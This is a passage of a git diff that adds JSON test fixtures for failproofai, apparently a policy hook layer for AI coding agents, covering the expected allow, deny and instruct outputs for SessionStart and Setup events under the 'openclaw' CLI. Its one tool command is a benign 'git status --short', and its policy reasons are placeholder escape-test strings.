"allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/SessionStart/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/SessionStart/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..3a8e6432 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SessionStart/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/SessionStart/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/SessionStart/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..30ff8bdb --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SessionStart/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/SessionStart/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/SessionStart/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..eb04d4cf --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SessionStart/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/SessionStart/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/SessionStart/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..e120c9d6 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SessionStart/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/SessionStart/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/SessionStart/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..c3ffb28a --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SessionStart/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked session start by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/SessionStart/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/SessionStart/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..06751d61 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SessionStart/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked session start by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/SessionStart/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/SessionStart/deny__tool-present__one-policy.json new file mode 100644 index 00000000..b0fab548 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SessionStart/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/SessionStart/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/SessionStart/deny__tool-present__two-policies.json new file mode 100644 index 00000000..6125bac3 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SessionStart/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/SessionStart/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/SessionStart/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..194081a8 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SessionStart/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/SessionStart/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/SessionStart/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..b19614ae --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SessionStart/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/SessionStart/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/SessionStart/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..13b591de --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SessionStart/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/SessionStart/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/SessionStart/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..719a15b1 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SessionStart/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/Setup/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/Setup/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..e0c0a0ef --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Setup/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/Setup/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/Setup/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..5049bf5e --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Setup/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/Setup/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/Setup/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..a120a0b8 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Setup/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/Setup/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/Setup/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..c83c203d --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Setup/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/Setup/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/Setup/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..c7030b04 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Setup/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/Setup/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/Setup/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..6ce17c54 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Setup/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 